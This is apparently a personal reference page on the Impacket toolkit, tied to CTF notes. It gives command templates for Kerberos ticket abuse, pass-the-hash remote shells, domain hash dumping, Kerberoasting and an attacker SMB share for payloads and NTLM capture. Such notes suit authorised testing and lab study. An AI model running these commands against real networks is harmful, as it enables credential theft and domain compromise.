☼
⌃
☰

Impacket

Table of Contents

Collection of Python classes/scripts for working with network protocols directly — the standard toolkit for AD attack chains involving Kerberos ticket manipulation, SMB, and remote execution. Most-used scripts documented below; each is a separate executable, not subcommands of one binary.

Related: [[Denote query for ‘20260721T210000’]] BloodHound Mimikatz Proxy CTF

Installation

SHELL
pipx install impacket
# or
pip install impacket --break-system-packages

Scripts are typically invoked as impacket-<scriptname> when installed via pipx/pip, or directly as <scriptname>.py if run from a cloned repo.

Key Scripts

getST — constrained delegation / S4U ticket abuse

SHELL
impacket-getST -spn <service>/<host> -impersonate <target_user> \
  <domain>/<account>:'<password>' -dc-ip $DC

Outputs a .ccache file. See [[Denote query for ‘20260721T210000’]] for the full abuse chain.

psexec — remote command execution / shell

SHELL
# password auth
impacket-psexec <domain>/<user>:'<password>'@$IP

# pass the hash
impacket-psexec -hashes :<ntlm_hash> <domain>/<user>@$IP

# using a Kerberos ticket (from getST or similar)
export KRB5CCNAME=<ticket>.ccache
impacket-psexec -k -no-pass $IP

secretsdump — credential/hash extraction

SHELL
impacket-secretsdump <domain>/<user>:'<password>'@$IP
impacket-secretsdump -just-dc <domain>/<user>:'<password>'@$DC
impacket-secretsdump -k -no-pass $DC   # via loaded Kerberos ticket

smbserver — quick attacker-controlled SMB share

SHELL
sudo impacket-smbserver -smb2support <sharename> $(pwd)

Used both for hosting payloads and for capturing inbound NTLM authentication (see [[Denote query for ‘20260721T211000’]]).

GetUserSPNs — Kerberoasting

SHELL
impacket-GetUserSPNs <domain>/<user>:'<password>' -dc-ip $DC -request

Tips

  • -k -no-pass pattern is consistent across scripts for using a loaded Kerberos ticket ($KRB5CCNAME) instead of a password/hash — worth remembering this once, applies broadly
  • Kerberos-based operations (getST, -k flag usage) need the target hostname resolvable — add it to /etc/hosts if not using proper DNS, IP alone will not satisfy SPN matching
  • secretsdump -just-dc is the fastest route to a full domain hash dump once DCSync-capable credentials are held — no need for psexec first if that's the only goal
  • All scripts accept credentials in domain/user:password or -hashes LM:NTLM form interchangeably — useful when pivoting from a cracked hash straight into the next tool without re-typing plaintext